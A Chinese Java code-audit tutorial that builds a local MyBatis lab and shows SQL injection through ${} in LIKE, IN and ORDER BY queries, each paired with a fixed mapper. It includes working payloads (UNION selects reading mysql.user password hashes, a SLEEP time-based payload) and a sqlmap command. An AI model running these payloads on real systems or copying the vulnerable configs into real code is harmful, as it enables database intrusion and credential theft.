0x00
前言
SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。
MyBatis框架底层已经实现了对SQL注入的防御,但存在使用不当的情况下,仍然存在SQL注入的风险。
0x01
项目创建与结构展示
使用mybatis的项目与使用jdbc的项目在项目的目录结构上存在一定的差异,mybatis的项目减少了对SQL功能接口的编写。
1.创建新的子模块并完成对应的目录结构,这里创建子模块采用的是maven>webapp。
tips:使用jdbc的项目与使用mybatis的项目的区别就在这里
2.引入依赖与解决文件资源导入问题
在子模块的pom.xml中添加
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>
xml资源导入问题解决,在build标签中添加
<!--处理资源引入问题-->
<resources>
<resource>
<directory>src/main/resources</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>true</filtering>
</resource>
<resource>
<directory>src/main/java</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>true</filtering>
</resource>
</resources>
3.数据库创建与核心配置文件配置
create database `mybatis`;
use `mybatis`;
create table user(
`id` int(20) not null auto_increment primary key,
`username` varchar(30) not null,
`passwd` varchar(30) not null
)engine=innodb,charset=utf8,auto_increment=10086;
insert into user(username,passwd) values ("admin","admin@123");
insert into user(username,passwd) values ("root","root@123");
insert into user(username,passwd) values ("manager","manager@123");
insert into user(username,passwd) values ("info","info@123");
insert into user(username,passwd) values ("test","123456");
数据库配置文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<environments default="development">
<environment id="development">
<!-- 使用JDBC事务管理 -->
<transactionManager type="JDBC"/>
<!-- 数据库连接池 -->
<dataSource type="POOLED">
<property name="driver" value="com.mysql.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/mybatis?useSSL=true&useUnicode=true&characterEncoding=UTF-8"/>
<property name="username" value="******"/><! --个人数据库账号-->
<property name="password" value="******"/><! --个人数据库密码-->
</dataSource>
</environment>
</environments>
</configuration>
4.编写工具类,连接数据库
在编写工具类前,首先了解Mybatis实例创建过程。
Mybatis3中文文档:
https://mybatis.org/mybatis-3/zh/getting-started.html
实现代码:
package com.example.util;
import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;
import java.io.IOException;
import java.io.InputStream;
public class MybatisUtil {
public static SqlSessionFactory sqlSessionFactory = null;
static {
//1.文件流读取核心配置文件
String resource = "mybatis-config.xml";
InputStream inputStream = null;
try {
inputStream = Resources.getResourceAsStream(resource);
} catch (IOException e) {
e.printStackTrace();
}
//2.读取配置文件创建SqlSessionFactory实例
sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
}
public static SqlSession getSqlSession() {
//3.获取SqlSession
return sqlSessionFactory.openSession();
}
}
5.持久层接口编写与实体类编写
在jdbc项目中持久层是dao,mybatis的是mapper,功能作用是一样。编写顺序先实体载接口。
实体类:
package com.example.pojo;
public class User {
private int id;
private String username;
private String passwd;
public User() {
}
public User(int id, String username, String passwd) {
this.id = id;
this.username = username;
this.passwd = passwd;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPasswd() {
return passwd;
}
public void setPasswd(String passwd) {
this.passwd = passwd;
}
@Override
public String toString() {
return "User{" +
"id=" + id +
", username='" + username + ''' +
", passwd='" + passwd + ''' +
'}';
}
}
接口与对应的xml配置文件,都是在com.example.mapper包下创建
package com.example.mapper;
import com.example.pojo.User;
import java.util.List;
public interface UserMapper {
//获取所有的用户列表
List<User> getUserList();
}
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<!--namespace=指定一个对应的Dao/Mapper命名接口-->
<mapper namespace="com.example.mapper.UserMapper">
<select id="getUserList" resultType="com.example.pojo.User">
select * from user
</select>
</mapper>
6.测试类与测试结果展示
package com.example.mapper;
import com.example.pojo.User;
import com.example.util.MybatisUtil;
import org.apache.ibatis.session.SqlSession;
import org.junit.Test;
import java.util.List;
public class UserMapperTest {
@Test
public void test() {
//1.获取SqlSession
SqlSession sqlSession = MybatisUtil.getSqlSession();
//2.执行SQL查询
UserMapper mapper = sqlSession.getMapper(UserMapper.class);
List<User> userList = mapper.getUserList();
for (User user : userList) {
System.out.println(user);
}
sqlSession.close();
}
}
到这一步mybatis的测试案例创建完成,下面只需要编写持久层和添加映射关系即可。
0x02
漏洞产生原因
MyBatis 使用 parameterType 向 SQL 语句传参,在 SQL 引用传参的时候可以使用 #{} 和 ${} 两种方式,两种方式区别如下:
**${}:SQL 拼接符号,直接将输入的语句拼接到 SQL 语句里,想避免 SQL 注入问题需要手动添加过滤
#{}:占位符号,在对数据解析时会自动将输入的语句前后加上单引号从而避免 SQL 注入**
在正常的查询情况下,不会产生这样的漏洞,只有在使用where,like、in、order by查询条件时,不能直接使用#{},直接使用#{}会报错,因此在开发时可能会直接使用${}从而产生SQL注入漏洞。
0x03
漏洞复现
1.like注入
存在问题的mybatis配置
<select id="getUserListByLike" resultType="com.example.pojo.User">
select * from user where username like "%"${name}"%"
</select>
测试payload只需要将’%%’的闭合破坏即可:
admin%" and 1=2 union select 1,null,authentication_string from mysql.user where User like "%root
正确的mybatis配置
<select id="getUserListByLike" resultType="com.example.pojo.User">
select * from user where username like concat('%',#{name},'%')
</select>
2.in注入
存在问题的mybatis配置
<select id="getUserListByIn" resultType="com.example.pojo.User">
SELECT * FROM user where id in (${id})
</select>
接口代码:
package com.example.mapper;
import com.example.pojo.User;
import java.util.List;
public interface UserMapper {
//获取所有的用户列表
List<User> getUserList();
//Like注入
List<User> getUserListByLike(String name);
//In注入
List<User> getUserListByIn(String id);
//Order by注入
List<User> getUserListByOrderBy(String orderby);
}
攻击payload
10086) and 1=2 union select 1,(select database()),"passwd" from user where (1)=(1
sqlmap结果:
python sqlmap.py -u http://localhost:8080/servlet_sqli02_war/test?id=10086 --current-db --level 5
正确的mybatis配置:
<select id="getUserListByIn" resultType="com.example.pojo.User">
SELECT * FROM user where id in
<foreach collection="array" item="id" index="index" open="(" close=")" separator=",">#{id}</foreach>
</select>
3.order by注入
错误的mybatis配置:
<select id="getUserListByOrderBy" resultType="com.example.pojo.User">
select * from user order by ${orderby}
</select>
测试payload:
http://localhost:8080/servlet_sqli02_war/test?orderby=username,(SELECT(1)FROM(SELECT(SLEEP(10)))test)
sqlmap结果:
正确的mybatis写法:
<select id="getUserListByOrderBy" resultType="com.example.pojo.User">
select * from user order by
<choose>
<when test="orderby == 'id' or orderby == 'username' or orderby == 'passwd'">${orderby}</when>
<otherwise>username</otherwise>
</choose>
</select>
推 荐 阅 读
原文始发于微信公众号(锦行信息安全):Java代审5:SQL 注入-Mybatis复现